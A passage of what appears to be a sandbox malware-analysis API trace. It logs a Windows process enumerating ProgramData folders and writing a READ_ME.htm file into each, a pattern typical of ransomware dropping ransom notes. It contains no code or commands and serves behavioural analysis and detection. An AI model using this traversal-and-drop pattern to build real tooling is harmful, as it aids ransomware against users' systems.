dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.641] GetFileType (hFile=0x1d0) returned 0x1 [0139.641] SetErrorMode (uMode=0x0) returned 0x1 [0139.641] GetFileType (hFile=0x1d0) returned 0x1 [0139.641] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f74f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28f74f0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.642] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft OneDrive\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0139.642] SetErrorMode (uMode=0x1) returned 0x0 [0139.642] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft OneDrive\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft onedrive\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.642] GetFileType (hFile=0x1d0) returned 0x1 [0139.642] SetErrorMode (uMode=0x0) returned 0x1 [0139.642] GetFileType (hFile=0x1d0) returned 0x1 [0139.643] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fba70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x28fba70*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0139.644] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle", lpFilePart=0x0) returned 0x15 [0139.644] SetErrorMode (uMode=0x1) returned 0x0 [0139.644] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*" (normalized: "c:\\programdata\\oracle\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0139.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0139.645] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.645] SetErrorMode (uMode=0x0) returned 0x1 [0139.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle", lpFilePart=0x0) returned 0x15 [0139.646] SetErrorMode (uMode=0x1) returned 0x0 [0139.646] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*" (normalized: "c:\\programdata\\oracle\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0139.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0139.646] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.647] SetErrorMode (uMode=0x0) returned 0x1 [0139.647] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java", lpFilePart=0x0) returned 0x1a [0139.647] SetErrorMode (uMode=0x1) returned 0x0 [0139.647] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\*" (normalized: "c:\\programdata\\oracle\\java\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.648] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.648] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0139.648] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 0 [0139.648] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.648] SetErrorMode (uMode=0x0) returned 0x1 [0139.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java", lpFilePart=0x0) returned 0x1a [0139.648] SetErrorMode (uMode=0x1) returned 0x0 [0139.648] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\*" (normalized: "c:\\programdata\\oracle\\java\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e0a51e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e0a51e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0139.649] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 0 [0139.649] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.649] SetErrorMode (uMode=0x0) returned 0x1 [0139.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2b [0139.650] SetErrorMode (uMode=0x1) returned 0x0 [0139.650] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0139.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0139.651] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.651] SetErrorMode (uMode=0x0) returned 0x1 [0139.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2b [0139.651] SetErrorMode (uMode=0x1) returned 0x0 [0139.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x449619e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x449619e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0139.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0139.652] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.652] SetErrorMode (uMode=0x0) returned 0x1 [0139.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0139.653] SetErrorMode (uMode=0x1) returned 0x0 [0139.653] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\READ_ME.htm" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.656] GetFileType (hFile=0x1d0) returned 0x1 [0139.656] SetErrorMode (uMode=0x0) returned 0x1 [0139.656] GetFileType (hFile=0x1d0) returned 0x1 [0139.656] WriteFile (in: hFile=0x1d0, lpBuffer=0x2904e30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2904e30*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.658] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0139.658] SetErrorMode (uMode=0x1) returned 0x0 [0139.658] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\READ_ME.htm" (normalized: "c:\\programdata\\oracle\\java\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.659] GetFileType (hFile=0x1d0) returned 0x1 [0139.659] SetErrorMode (uMode=0x0) returned 0x1 [0139.659] GetFileType (hFile=0x1d0) returned 0x1 [0139.659] WriteFile (in: hFile=0x1d0, lpBuffer=0x2909390*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2909390*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\READ_ME.htm", lpFilePart=0x0) returned 0x21 [0139.660] SetErrorMode (uMode=0x1) returned 0x0 [0139.661] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\READ_ME.htm" (normalized: "c:\\programdata\\oracle\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.661] GetFileType (hFile=0x1d0) returned 0x1 [0139.661] SetErrorMode (uMode=0x0) returned 0x1 [0139.661] GetFileType (hFile=0x1d0) returned 0x1 [0139.661] WriteFile (in: hFile=0x1d0, lpBuffer=0x290d8e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x290d8e0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0139.663] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache", lpFilePart=0x0) returned 0x1c [0139.663] SetErrorMode (uMode=0x1) returned 0x0 [0139.663] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*" (normalized: "c:\\programdata\\package cache\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.664] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x322e07d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x322e07d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c0163b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c0163b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0139.665] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, 